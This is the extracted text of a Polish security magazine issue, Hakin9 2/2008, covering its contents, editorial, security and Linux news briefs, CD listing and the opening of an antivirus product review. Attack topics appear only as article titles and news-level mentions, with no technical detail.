Hakin9 34 (02 2008) PL

background image

hakin9

02/2008 PL

background image
background image
background image

4

www.hakin9.org

hakin9 Nr 2/2008

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy garść najciekawszych wiadomości

ze świata bezpieczeństwa systemów informatycz-

nych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Kaspersky Internet Security 7

12

AVG Internet Security 7.5

13

Początki

Sniffing i wardriving – zabezpiecz się

Konrad Witaszczyk

14

Ostatnio, popularny stał się wardriving – wyszukiwa-

nie sieci bezprzewodowych. Niektórzy nie poprzesta-

ją na wyszukaniu sieci i kradną dane. Artykuł pokaże,

w jaki sposób powinniśmy się zabezpieczyć przed

takimi atakami.

Atak

Hakowanie PuTTY

Dawid Gołuński

18

Jak zmodyfikować skompilowaną aplikację na przy-

kładzie klienta SSH – PuTTY? O tym dowiedzą się

Państwo czytając tekst Dawida Gołuńskiego.

Podglądanie pulpitu

Sławomir Orłowski

30

Jak z poziomu kodu C# utworzyć połączenie TCP

i wysłać dane za pomocą protokołu UDP? W jaki

sposób używać komponentów klasy Backgroun-

dWorker oraz jak używać strumieni do programo-

wania sieciowego? Odpowiedzi na te pytania znajdą

Państwo w artykule.

Edycja zasobów w plikach wykony-

walnych

Damian Daszkiewicz

38

Tekst o sposobach przeglądania, eksportowania i edy-

towania zasobów w plikach wykonywalnych autorstwa

Damiana Daszkiewicza.

Witam!

Luty. Za oknami zima. Na ulicach śnieg, przechodnie opatu-

leni w ciepłe czapki i szaliki. W taką pogodę dobrze zostać

w domu, siąść w fotelu i napić się ciepłej herbaty z cytryną.

A jeszcze lepiej rozsiąść się wygodnie w ulubionym fotelu i

popijając ciepłą herbatę z cytryną zanurzyć się w lekturze

magazynu hakin9.

A w nim, jak co miesiąc – nowości, prezenty, ciekawe

artykuły. Wśród nich wart polecenia temat numeru Hako-

wanie PuTTY autorstwa Dawida Gołuńskiego, który pokaże

nam, jak zmodyfikować aplikację bez dostępu do kodu źró-

dłowego oraz Nowa generacja IDS, czyli ISA Server 2006

w testach, w którym Paulina Januszkiewicz opisuje, w jaki

sposób ISA Server reaguje na poszczególne zagrożenia

i anomalie ruchu sieciowego, w jaki sposób administrator

informowany jest o zdarzeniach, a także czy ISA Server

2006 sprawdza się jako system wykrywania włamań.

W międzyczasie można zasiąść do komputera i zainsta-

lować na nim programy dostępne na nowej płycie CD. W tym

numerze hakin9'u trzy programy do wyboru – przede wszyst-

kim Norman Ad-Aware SE Plus, który zapewnia swoim użyt-

kownikom kompleksową ochronę przeciw programom typu

spyware oraz adware. Jeżeli chcą Państwo zapewnić swo-

jemu komputerowi jeszcze większe bezpieczeństwo, można

zainstalować jedną z najbezpieczniejszych przeglądarek

– e-Capsule Private Browser, którą udostępniamy na płycie.

Zamknąć komputer pomoże Państwu program RSHUT Pro,

a wtedy można powrócić do lektury magazynu.

Zapraszam!

Barbara Czułada

background image

4

www.hakin9.org

hakin9 Nr 2/2008

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Nowa generacja IDS,

czyli ISA Server 2006 w testach

Paulina Januszkiewicz

42

ISA Server jest zaawansowanym systemem zapobie-

gania włamaniom. Testy przeprowadzone w tym arty-

kule wykażą, czy ISA Server dobrze spełnia swoje

zadanie wykrywania ataków.

Wiarygodność testów programów

antywirusowych

Jakub Dębski

58

Testy programów antywirusowych wzbudzają wiele

emocji. Jakub Dębski opisuje, jak są przeprowadzane.

Helix – analiza powłamaniowa

Grzegorz Błoński

64

Analiza powłamaniowa – mimo tego, iż jest to zada-

nie bardzo trudne, czasochłonne i wymagające dużej

wiedzy oraz cierpliwości podczas jego wykonywania

– nie musi być niemożliwe do wykonania. O tym prze-

konuje Grzegorz Błoński.

Księgozbiór

72

Recenzujemy książki CCNA semestr 1, 2, 3 oraz 4.

Wywiad

74

Wywiad z Witosławem Wolańskim z

Banku Nordea

Katarzyna Juszczyńska, Robert Gontarski

Rozmowa ze specjalistą ds. polityki bezpieczeństwa

systemu IT w Banku Nordea.

Klub techniczny

Kerio MailServer jako system

poczty i pracy grupowej dla firm

77

Felieton

78

Socjo-cyber-piraci przestrzeni

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu magazynu hakin9 nr 3/2008.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy:
Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka: Barbara Czułada

barbara.czulada@software.com.pl

Wyróżnieni betatesterzy: Marcin Kulawinek, Błażej Obiała

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Anna Osiecka anna.osiecka@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

IT Underground 2007

W dniach 7-9 listopada w Warsza-

wie, w siedzibie Mercedes Polska,

odbyła się największa w Europie

Wschodniej konferencja poświę-

cona bezpieczeństwu komputero-

wemu – IT Underground, podczas

której światowej klasy specjaliści

podzielili się swoją wiedzą

i doświadczeniem na temat technik

penetracji systemów informatycz-

nych i metod zabezpieczania się

przed atakiem.

DebugView pozwala na

eskalację przywilejów

iDefense odkryło, że służący do

debugowania aplikacji program

Microsoftu – DebugView zawie-

ra lukę w kodzie, która pozwala

na podniesienie uprawnień zwy-

kłego użytkownika. DebugView

używa funkcji dbgv.sys zawartej

w kernelu, która może być użyta

do skopiowania danych użytkow-

nika w praktycznie dowolne miej-

sce w pamięci.

Zgodnie z doniesieniami, istnie-

je możliwość zapisania przez ata-

kującego swojego kodu do pamię-

ci, a następnie wykonania go. Bug

został wykryty w wersji 4.60.0.0

funkcji dbgv.sys, której używał

DebugView w wersji 4.64. Micro-

soft wypuścił wersję aplikacji 4.72,

usuwającą lukę.

Luka w bibliotekach Perla

Biblioteki Perla (PCRE, Perl

Compatible Regular Expressions)

odpowiedzialne za przetwarza-

nie wyrażeń regularnych zawiera-

ją lukę, która może zostać wyko-

rzystana przez napastnika do

wstrzyknięcia swojego, złośliwe-

go kodu do działającej aplikacji

napisanej właśnie w Perlu.

Problem jest wynikiem błędne-

go alokowania pamięci podczas

przetwarzania wyrażeń regular-

nych.

Każdy obcy kod, który uda się

podrzucić hakerowi, w rzeczywi-

stości zostanie uruchomiony z

prawami zaatakowanej aplikacji.

Tavis Ormandy z Google Securi-

ty odkrył kilka luk w PCRE, które

pozwalają na wykonanie złośliwe-

go kodu, co potwierdza również

Debian Team informując,

że znane są sposoby przepełnie-

nia bufora właśnie w tych biblio-

tekach.

Student UW mistrzem Polski

w programowaniu

S

tudent Uniwersytetu Warszaw-
skiego, Marek Cygan, okazał się

najlepszym i najszybszym zawod-
nikiem II Internetowych Mistrzostw
Polski w Programowaniu. Organi-
zatorem imprezy była firma Asseco
Business Solutions Pion Bizneso-
wy Safo. W internetowych mistrzo-
stwach wzięło udział 1170 osób,
zmagając się w czterech turach
z dwunastoma zadaniami. Serwer
skompilował i ocenił 10165 nade-
słanych programów. Szczegółowy
ranking zawodów dostępny jest na
stronie: http://opss.safo.biz/?menu=
comp&sub=rank&comp=9

Tegoroczne zawody charakte-

ryzowały się ostrą i zaciętą walką
o tytuł mistrza. Poziom przysyła-
nych do nas prac był bardzo wysoki.
Cieszy nas bardzo rosnące zaintere-
sowanie konkursem i udział w nim
tak wielu zdolnych młodych ludzi.
Ponad połowę uczestników stano-
wili uczniowie i studenci, w wieku
od 17 do 21 lat. Potwierdza to opinię
o drzemiącym w młodych Polakach
potencjale informatycznym. Mistrzo-
stwa stanowią zaś niebywałą okazję,
aby wyłowić i ukształtować nieprze-
ciętne talenty – mówi Maciej Maniec-
ki, wiceprezes Asseco Business
Solutions.

Oto pierwsza dziesiątka najlep-

szych uczestników:

• Marek Cygan, Żołędowo (nagroda

– notebook Lenovo 3000 N200)

• Marcin Andrychowicz, Grójec (no-

tebook Lenovo 3000 N200)

• Jakub Radoszewski, Poznań

(Pocket PC z telefonem komórko-
wym Asus P526)

• Jarosław Błasiok, Gostyń (kompu-

ter kieszonkowy HP iPaq rx5710
Travel Companion)

• Piotr Mikulski, Szczecin (komputer

kieszonkowy Acer PDA C530)

• Szymon Wrzyszcz, Grudziądz

(drukarka HP PhotoSmart D7160)

• Michał Bartoszkiewicz, Wrocław

(dysk zewnętrzny WD Passport II
120GB USB2.0)

• Mateusz Rukowicz, Kamienna

Góra (kamera internetowa Logi-
tech Quickcam Pro 9000)

• Paweł Gawrychowski, Wrocław

(pamięć Kingston DataTraveler II
Plus Migo 4GB)

• Aleksander Piotrowski, Lisi Ogon

(pamięć Kingston DataTraveler II
Plus Migo 2GB)

Marek Cygan był jednym z trzech stu-
dentów UW – obok Filipa Wolskiego
i Marcina Pilipczuka – którzy w marcu
bieżącego roku wygrali Akademickie
Mistrzostwa Świata w Programowaniu
Zespołowym. W finale, który odbył się
w Japonii, Polacy pokonali 88 drużyn
z Europy, Azji, obu Ameryk, Afryki
i Bliskiego Wschodu oraz Południowe-
go Pacyfiku. Na rozwiązanie 10 zadań
mieli pięć godzin. Błyskawicznie roz-
wiązali pierwsze zadanie (po 13 minu-
tach), natychmiast wychodząc na pro-
wadzenie.

Asseco Business Solutions SA

dostarcza wysokiej jakości rozwią-
zania informatyczne dla przedsię-
biorstw, niezależnie od ich wielko-
ści, branży i specyfiki. Działając
w ramach Grupy Kapitałowej Asseco,
firma operuje jako Centrum Kompe-
tencyjne odpowiedzialne za systemy
ERP, oprogramowanie dla małych
i średnich przedsiębiorstw, outsour-
cing, data center oraz rozwiązania w
zakresie e-learningu.

Rysunek 1.

Marek Cygan

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Ubuntu Gutsy Gibbon

Ukazała się nowa wersja dystry-

bucji Ubuntu 7.10 o nazwie kodo-

wej Gutsy Gibbon. W nowym

Ubuntu znajdziemy między innymi

środowisko GNOME w wersji

2.20, domyślnie włączone efekty

graficzne Compiz Fusion i zain-

stalowaną wtyczkę Gnash do

odtwarzania animacji Flash.

Ubuntu Gutsy Gibbon zawie-

ra jądro 2.6.22 i podsystem gra-

fiki Xorg 7.3 z obsługą RandR

1.2 oraz z xserver 1.4. Pojawi-

ły się także sterowniki do niektó-

rych tzw. winmodemów. Twórcy

Ubuntu poprawili ponadto system

raportowania przy instalacji i aktu-

alizacjach pakietów, a także zgła-

szania padów jądra, które będą

wyłapywane podczas restartu.

Ubuntu to kompletna dystrybucja

systemu operacyjnego GNU/Linux

bazująca na dystrybucji Debian.

Projekt sponsorowany jest przez

firmę Marka Shuttlewortha Cano-

nical Ltd. Słowo ubuntu pochodzi

z języków plemion Zulu i Xhosa

zamieszkujących południową

Afrykę i oznacza człowieczeństwo

wobec innych. Głównym celem

dystrybucji jest dostarczenie zwy-

kłym użytkownikom kompletnego,

otwartego systemu, który będzie

łatwy w obsłudze oraz jednocze-

śnie stabilny, niezawodny i nowo-

czesny. Ubuntu wydawane jest

w regularnych (w miarę możliwo-

ści – sześciomiesięcznych) odstę-

pach czasowych. Pierwsze wyda-

nie Ubuntu ukazało się 20 paź-

dziernika 2004 roku jako tymcza-

sowa odmiana dystrybucji Debian

GNU/Linux.

Uwaga na programy zabez-

pieczające

Znany amerykański kryptograf

i specjalista z zakresu bezpieczeń-

stwa teleinformatycznego, Bruce

Schneier, zalecał podczas kon-

ferencji RSA Conference Europe

2007, by nie wierzyć zbytnio pro-

duktom mającym zapewnić bezpie-

czeństwo: Z przyczyn ideologicz-

nych bądź marketingowych pro-

dukty te są przedstawiane jako

bezpieczne. Ludzie sprzedający

karty elektroniczne zrobią wszyst-

ko, by przekonać nas, że są one

rozwiązaniem problemów związa-

nych z bezpieczeństwem. Skoro

dla wszystkich jest to dobre rozwią-

zanie, to i dla mnie również.

Domena IFPI.com w rękach

The Pirate Bay

S

zwedzki serwis ThePirateBay.org
przejął domenę www.IFPI.com,

która należała do International Fede-
ration of the Phonographic Industry
(IFPI)
– znanej na całym świecie orga-
nizacji antypirackiej. Administratorzy
The Pirate Bay zaprzeczają, jakoby
dokonali jej nielegalnego przejęcia. Ich
zdaniem, IFPI nie dokonała przedłuże-
nia rejestracji, co wykorzystał pewien
anonimowy internauta, który natych-
miast wykupił domenę, po czym ofia-
rował ją serwisowi ThePirateBay.org.
Brokep, jeden z administratorów The
Pirate Bay
, tak podsumował przed-
sięwzięcie: International Federation of
Pirates Interests (IFPI)
jest nową orga-
nizacją, którą zakładamy, by mówić
o piractwie.

The Pirate Bay poszukują również

nowej wyspy. Informacja o zamiarze
zakupienia mikro-państwa Sealan-
dii, podana przez TPB na początku
tego roku, wzbudziła wiele emocji,
jednak książę Sealandii, powiedział
w wywiadzie dla CBC The Hour,
że nie pozwoli piratom zakupić swo-
jego państewka. Administratorzy
The Pirate Bay nie ujawnili jeszcze,
jaką wyspę braliby pod uwagę, tłu-
macząc się, że ostatnio nie mieli na

to czasu: Projekt Sealandii pochłonął
cały nasz czas i nie mogliśmy zasad-
niczo zrobić nic innego, powiedział
Brokep. Pieniądze zostaną wydane
na wyspę, ale najpierw musimy się
skupić na nadchodzących sprawach
sądowych, które nas czekają.

The Pirate Bay jest jedną z najlepiej

znanych stron w Internecie – najwięk-
szym światowym trackerem BitTorren-
ta, która także działa jako wyszuki-
warka plików .torrent. I chociaż słowo
mininova było jednym z najczęściej
wyszukiwanych w Google, The Pirate
Bay
jest dobrze znane prasie, głównie
ze względu na to, że przeciwstawia się
obowiązującym regulacjom w prawie
autorskim, a także walczy o równy
dostęp do materiałów dla wszystkich
użytkowników.

Ponieważ BitTorrent bardzo dobrze

radzi sobie z dużymi plikami, technolo-
gia ta stała się popularna wśród użyt-
kowników P2P, którzy wymieniają się
dużymi zestawami muzyki, filmami
i oprogramowaniem, a także dyska-
mi instalacyjnymi dystrybucji Linuksa.
TPB nie hostuje żadnych plików, któ-
rych rozpowszechnianie może ewen-
tualnie naruszać prawo autorskie,
a jedynie udostępnia pliki .torrent.

Rysunek 2.

IFPI

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

ArcaVir 2008 już jest!

Firma ArcaVir przygotowała kolej-

ną edycję pakietu zabezpiecza-

jącego ArcaVir System Protec-

tion 2008. Oprócz już sprawdzo-

nych mechanizmów, w kolejnej

edycji pakietu pojawiły się rów-

nież nowe rozwiązania, tj.: kon-

figuracja skanera HTTP zawie-

rająca reguły skanowania oraz

białą listę stron, kontrola zawarto-

ści stron WWW (zintegrowana ze

skanerem HTTP) umożliwiająca

usuwanie aktywnych treści

i banerów, obsługa SSL przy ska-

nowaniu poczty niewymagająca

zmian portów i nie powodująca

ostrzeżeń ze strony programów

pocztowych, skanowanie proto-

kołu IMAP, nowy moduł tworzący

raport o systemie, rozbudowana

kwarantanna z opcją kasowania

starych plików, nowoczesny silnik

antywirusowy.

ArcaVir System Protection 2008

w wersji elektronicznej do użytku

domowego na jedno stanowisko

można nabyć za kwotę 120 PLN.

Wersja pudełkowa, również do

użytku domowego, oferuje licen-

cję na 3 stanowiska w cenie

150 PLN.

Notebooki z piratami

Policjanci z mokotowskiej komen-

dy zajmujący się zwalczaniem

przestępczości gospodarczej

zabezpieczyli nielegalne oprogra-

mowanie, które firma kompute-

rowa oferowała swoim klientom.

Jak ustaliła policja, osoby kupu-

jące laptopy mogły doposażyć je

w różne wersje pirackich progra-

mów operacyjnych i pakiety opro-

gramowania biurowego. Aresz-

towany Sławomir W. płyty z pira-

tami kupował na giełdzie kom-

puterowej, a następnie instalo-

wał to oprogramowanie na sprze-

dawanych komputerach. Laptopy

i nośniki zostały zabezpieczone

przez policję.

Fedora 8 udostępniona użytkownikom

U

kazała się nowa wersja dystry-
bucji Fedora 8, która tworzona

jest na bazie Red Hata. Linux jest poli-
gonem doświadczalnym Red Hata –
w dystrybucji, przeznaczonej dla użyt-
kowników indywidualnych, testowane
są najnowsze wersje oprogramowa-
nia, które z czasem trafią także do Red
Hat Enterprise Linux. Zmian w najnow-
szej wersji jest bardzo wiele, jednak
do najważniejszych nowości w wyda-
niu ósmym Fedory można zaliczyć:

• Iced Tea – jest to otwarta, a co

najważniejsze w pełni darmowa
wersja Javy.

• Pulse Audio – to nowy domyślny

serwer dźwięku, który ma wiele
zalet – m. in. dynamiczną regula-
cję dźwięku dla poszczególnych
aplikacji. Dając większą kontro-
lę użytkownikom, ma to być krok
naprzód na obszarze odtwarza-
nia dźwięków w systemie.

• Pirut – zupełnie nowy edytor

repozytoriów, który sprawia,
że dodawanie, usuwanie, włą-
czanie i wyłączanie repozytoriów
staje się naprawdę łatwe.

• CodecBuddy – prosta instalacja

kodeków.

• NetworkManager 0.7, a w nim

m. in.: bezpieczniejsze przecho-
wywanie haseł WPA, obsługa
nowego DBus API, bardziej przej-
rzysty interfejs.

• Ulepszony konfigurator drukarek

– system-config-printer.

• Nowe graficzne narzędzie kon-

figuracyjne firewalla – ma ono
pozwolić użytkownikom na skonfi-
gurowanie zasad działania zapory
ogniowej w systemie w znacznie
bardziej przystępny sposób, dając
maksimum bezpieczeństwa.

• Usprawnienia Menadżera Sieci

– został on gruntownie przepisa-
ny specjalnie dla Fedory 8, mając
w ten sposób zapewnić większą
stabilność, elastyczność i uży-
teczność.

• Rozszerzona obsługa drukarek

– od teraz dodawanie nowych
drukarek powinno ograniczyć się
do podłączenia ich zarówno do
zasilania, jak i samego kompute-
ra – sterowniki powinny dodać się
samoczynnie.

• Poprawione działanie na lapto-

pach (hibernacja, stan wstrzyma-
nia, klawisze multimedialne).

• Nowy system logowania Rsyslog.
• GNOME Online Desktop.
• Infrastruktura Transifex do zarzą-

dzania tłumaczeniami.

Celem projektu Fedora jest budowa
w pełni użytecznego systemu ope-
racyjnego w oparciu o wolne opro-
gramowanie, wydawanego cyklicz-
nie 2-3 razy w roku.

Rysunek 3.

Fedora 8

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Wrocławska policja przejęła

serwery warezowe

Policjanci z Wydziału do Walki

z Przestępczością Gospodar-

czą Komendy Wojewódzkiej Poli-

cji we Wrocławiu zabezpieczyli 6

serwerów, za pomocą których roz-

powszechniano nieautoryzowa-

ne kopie plików multimedialnych.

Komputery umieszczone były

w jednym z asystenckich domów

wrocławskiej uczelni wyższej oraz

w mieszkaniu prywatnym 29-letnie-

go mieszkańca Wrocławia, który

administrował siecią komputero-

wą m. in. w tym pierwszym obiek-

cie. Wśród zabezpieczonych przez

policjantów sześciu serwerów kom-

puterowych zawierających 37

dysków twardych o łącznej pojem-

ności 12 terabajtów były np. takie,

które posiadały takie dyski jak:

3x750 GB, 3x300 GB i 7x 500 GB.

Zatrzymanemu mężczyźnie grozi

odpowiedzialność karna w wymia-

rze pozbawienia wolności do 5 lat.

Wrocławscy policjanci nie wyklu-

czają zatrzymań dalszych osób.

Co trzeci pracownik nie dba

o bezpieczeństwo

Z raportu przygotowanego przez

organizację Information Systems

Audit and Control Association

(ISACA) wynika, że ponad 35%

amerykańskich pracowników biuro-

wych ignoruje obowiązujące w ich

firmie zasady korzystania z infra-

struktury informatycznej. Wielu

osobom wydaje się, że korzystanie

z P2P w pracy jest zupełnie nie-

szkodliwe – jednak statystyki poka-

zują, że coraz częściej zdarzają się

przypadki nieświadomego udostęp-

niania w sieciach bezpośredniej

wymiany plików firmowych doku-

mentów – zarówno danych pra-

cowników, jak i klientów. Być może

niektórym wydaje się, że 15% to

niezbyt wiele – zwróćmy jednak

uwagę, iż współczynnik ten ozna-

cza, że w każdej firmie zatrudniają-

cej 1000 pracowników ok. 70 osób

aktywnie korzysta z P2P – komen-

tuje John Pironti (ISACA).

Ruszyła Polska Wszechnica Informatyczna

P

owstał nowy portal wiedzy infor-
matycznej dla studentów, wykła-

dowców oraz absolwentów wydziałów
informatyki polskich uczelni wyższych
Polska Wszechnica Informatycz-
na
. Pomysłodawcą i organizatorem
projektu jest Warszawska Wyższa
Szkoła Informatyki, a jego partnera-
mi – firmy Microsoft, HP oraz Cisco
Systems.

W ramach Polskiej Wszechnicy

Informatycznej udostępniane będą
materiały i pomoce dydaktyczne
wykorzystywane przez polskie ośrod-
ki akademickie w procesie kształcenia
na wydziałach informatyki.

Korzystać z nich będą studenci

i wykładowcy kierunków informatycz-
nych, jak i studenci innych kierunków
oraz uczniowie szkół średnich, zain-
teresowani tematyką informatyczną.
Wiedza informatyczna staje się coraz
bardziej przydatna i popularna.

W ramach Polskiej Wszechnicy

Informatycznej zgromadzone zosta-
ną materiały dydaktyczne, które
pozwolą zdobywać wiedzę informa-
tyczną w przystępnej formie.

Portal stanie się kompendium

informacji zarówno dla tych, którzy
będą chcieli systematycznie się
uczyć, jak i tych, którzy będą potrze-
bowali doraźnej pomocy w rozwiązy-
waniu bieżących problemów informa-
tycznych – powiedział Marek Roter
z polskiego oddziału Microsoft.

Treści materiałów dostępnych na

portalu są zgodne z obecnie obowią-

zującymi standardami edukacyjny-
mi dla kierunku informatyka zatwier-
dzonymi przez Radę Główną Szkol-
nictwa Wyższego oraz zaopiniowa-
ne przez dziewięcioosobową radę
programową. W składzie rady zna-
leźli się profesorowie, przedstawicie-
le ośmiu polskich wiodących uczelni
informatycznych.

Przewodniczącym Rady Nauko-

wej jest prof. dr hab. Jan Madey, Uni-
wersytet Warszawski, a jej członkami
są: prof. dr hab. Krzysztof Diks, Uni-
wersytet Warszawski; prof. dr hab.
inż. Bogdan Galwas, Politechnika
Warszawska; prof. dr hab. inż. Zbi-
gniew Huzar, Politechnika Wrocław-
ska; prof. dr hab. inż. Henryk Kraw-
czyk, Politechnika Gdańska; prof. dr
hab. Krzysztof Loryś, Uniwersytet
Wrocławski; prof. dr hab. inż. Jerzy
Nawrocki, Politechnika Poznańska;
prof. dr hab. inż. Ryszard Tadeusie-
wicz, Akademia Górniczo-Hutnicza,
Kraków; prof. dr hab. Marek Zaionc,
Uniwersytet Jagielloński.

W skład Komitetu Sterującego

wchodzą: przewodniczący – Andrzej
Żyławski – Rektor Warszawskiej
Wyższej Szkoły Informatyki, członko-
wie – Marek Roter, Dyrektor General-
ny Microsoft Polska; Paweł Czajkow-
ski, Dyrektor Generalny HP Polska;
Paweł Malak, Dyrektor Generalny
CISCO Polska; Jan Sokalski, Czło-
nek Konwentu Warszawskiej Wyż-
szej Szkoły Informatyki.

Rysunek 4.

Polska Wszechnica Informatyczna

background image

hakin9.live

hakin9 Nr 2/2008

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się dys-
trybucja hakin9.live (h9l) w wersji 4.0.2 on
BackTrack2.0
, zawierająca przydatne narzę-

dzia, dokumentację, tutoriale i materiały dodatkowe
do artykułów. Aby zacząć pracę z hakin9.live, wystar-
czy uruchomić komputer z CD. Po uruchomieniu syste-
mu możemy zalogować się jako użytkownik hakin9 bez
podawania hasła.

Pełne wersje programów:

• PROSHUT Real-Time Security – wersja bez ograni-

czeń czasowych,

• e-Capsule Private Browser - wersja 60-dniowa,
• Norman Ad-Aware SE Plus – wersja 30-dniowa.

Tutoriale

• tworzenie kodu pierwszego konia trojańskiego,
• Videotutorial Metasploit3.

Filmy instruktażowe:

• odcinek 3 – atak SQL Injection z użyciem Union Se-

lect.

Kolejny odcinek z serii filmów instruktażowych przed-
stawiających

najpopularniejsze

metody

ataków

na strony internetowe.

PROSHUT Real-Time Security

RSHUT Pro jest rozwiązaniem programowym, które
oszczędza Twój czas, zamykając za Ciebie komputer.
Działa bezpośrednio na Twoim sprzęcie, jak i na zdal-
nie kontrolowanych komputerach z zainstalowanym sys-
temem Windows.

Używaj tego programu do restartowania, hibernowa-

nia i budzenia lokalnych i zdalnych komputerów przez In-
ternet lub sieć lokalną w trybie natychmiastowym lub za-
programowanym. Wszystko to możesz zrobić nie rusza-
jąc się z miejsca, bez potrzeby przechodzenia od jednej
maszyny do następnej. Ponadto przy użyciu programu
możesz dowolnie zaplanować i przesunąć w czasie za-
mykanie systemu. RSHUT Pro otworzy i zamknie stację
dysków CD i DVD, włączy lub wyłączy wygaszacz ekranu
oraz przełączy monitor w tryb oszczędzania energii.

e-Capsule Private Browser

Przeglądarka e-Capsule Internet Browser firmy Enter-
prise Information Security Systems and Technology
(EISST) jest jednym z najbezpieczniejszych programów
tego typu. Korzystając z niej, użytkownik ma pewność,

Zawartość CD

że po zamknięciu sesji na komputerze nie pozostaną
żadne ślady surfowania.

Pliki tymczasowe, ciasteczka, historia przeglądanych

stron i inne dane używane podczas przeglądania stron
internetowych przechowywane są w pliku zaszyfrowa-
nym 256-bitowym algorytmem AES.

Ponadto, dzięki przekierowaniu połączenia przez

sieć anonimowych serwerów proxy, namierzenie adresu
IP internauty korzystającego z e-Capsule jest praktycz-
nie niemożliwe. Dlatego też korzystanie z przeglądarki
e-Capsule Private Browser pozwala użytkownikom na
swobodne korzystanie z Internetu bez obawy, że osoby
trzecie będą w stanie uzyskać dostęp do danych używa-
nych w czasie przeglądania stron WWW.

Norman Ad-Aware SE Plus Edition

Norman Ad-Aware SE Plus oferuje kompleksowe
i wszechstronne narzędzia w walce z programami, któ-
rych celem jest szpiegowanie działań użytkownika (spy-
ware) oraz wyświetlającymi niechciane reklamy pop-up
(adware). Wersja Plus zawiera pracujące w czasie rze-
czywistym narzędzie Ad-Watch, pozwalające nie tylko
wykrywać zagrożenia Twojej prywatności na kompute-
rze, ale w pierwszej kolejności blokujące je przed inte-
gracją z Twoim systemem operacyjnym. Poza tym nie-
wątpliwymi zaletami produktu są łatwość w instalacji i za-
rządzaniu, skanowanie na żądanie, kreator ustawień dla
zdefiniowania pewnych wykluczeń od blokady oraz auto-
matyczny update poprzez sieć Internet. l

background image

hakin9.live

hakin9 Nr 2/2008

www.hakin9.org

11

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest

ona uszkodzona mechanicznie, sprawdź ją na co najmniej

dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 2/2008

www.hakin9.org

13

hakin9 Nr 2/2008

www.hakin9.org

Narzędzia

W dzisiejszych czasach, kiedy powstało tak wiele złośli-
wego oprogramowania, ochrona przed nim jest koniecz-
na. Chciałbym opisać służące do tego celu oprogramo-
wanie Kaspersky Internet Security 7.0. Jest to pełen
pakiet ochronny komputera.

Postanowiłem najpierw przeczytać, co napisał

o swojej aplikacji producent. Na opakowaniu i w jego
wnętrzu widzimy wiele przeróżnych certyfikatów świad-
czących o wysokiej skuteczności zapewnianej ochrony.
Jednak już chwilę potem – podczas instalacji sterowni-
ków – napotkałem na pierwsze problemy. Często trzeba
wstrzymywać ochronę lub omijać te pliki. Największe
kłopoty wystąpiły podczas instalacji modemu.

Kolejną czynnością było sprawdzenie działania sys-

temu antywirusowego. Pobrałem kilka wirusów i troja-
nów. Podczas tej czynności aplikacja zaraportowała,
że wykryła złośliwe oprogramowanie. Postanowiłem
zatem włączyć Delphi 7 i napisać własnego trojana.
Po jego uruchomieniu Kaspersky natychmiast poinfor-
mował, że trojan dokonuje zmian w rejestrze – zatem
choćby minimalnie rozgarnięty użytkownik powinien
uniknąć zainfekowania. Mimo wszystko, w razie jego nie-
wiedzy lub nieuwagi, firewall powinien zablokować troja-
na. Tu również Kaspersky spisał się bardzo dobrze. Fire-
wall działa bez zarzutu, ukrywa nazwę systemu i otwarte
porty. Niestety, kiedy chcemy uruchomić serwer, firewall
trzeba już samemu przekonfigurować.

Następnie pod lupę wziąłem filtr anty-spamowy,

